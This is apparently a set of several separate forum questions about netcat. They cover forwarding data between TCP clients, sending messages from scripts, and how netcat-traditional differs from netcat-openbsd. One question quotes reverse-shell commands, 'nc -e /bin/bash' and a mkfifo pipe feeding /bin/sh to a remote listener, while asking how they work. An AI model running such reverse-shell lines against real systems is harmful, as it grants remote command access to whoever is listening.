I have some device which is on the network layer acting as TCP client. And I have some programm on the remote host (debian machine) which is acting simililary as a TCP client on the network layer. How can I forward data back and forth between those two pieces of software using netcat. I know that i can establish a connection to the device by means of netcat this way "nc -l -k -p 4555". But I don't now how to forward data to the client programm after.
There was a simple way to connect two systems and getting a shell using nc command as below.
machine A to listen
nc -nlvp 4444
machine B to connect
nc 192.168.4.4 4444 -e /bin/bash
However the -e option is no more, The man pages recommends to follow as below to execute commands
machine A to listen
nc -nlvp 4444
machine B to connect
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f
I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.
When I am writing a bash script like the following:
#!/bin/bash
nc localhost [pseudoport]
echo "test"
it connects to the server but does not send the text "test".
It works with
#!/bin/bash
echo "test" | nc localhost [pseudoport]
The problem here is that the connection exits after something has been received.
How can I send multiple messages, in my case a fixed preamble followed by a variable data?
I am trying to use netcat to send a simple message over TCP, e.g. I want to send the digit 1.
So I understood that I write the following in the terminal, after installing netcat
netcat [ip-address] [port]
But how do I specify the message to be sent? i.e. where to I write "1"
?
What (if any) are the significant differences between netcat-traditional
and netcat-openbsd
?
I'm having trouble finding any relative information. Anybody familiar that can offer some insight?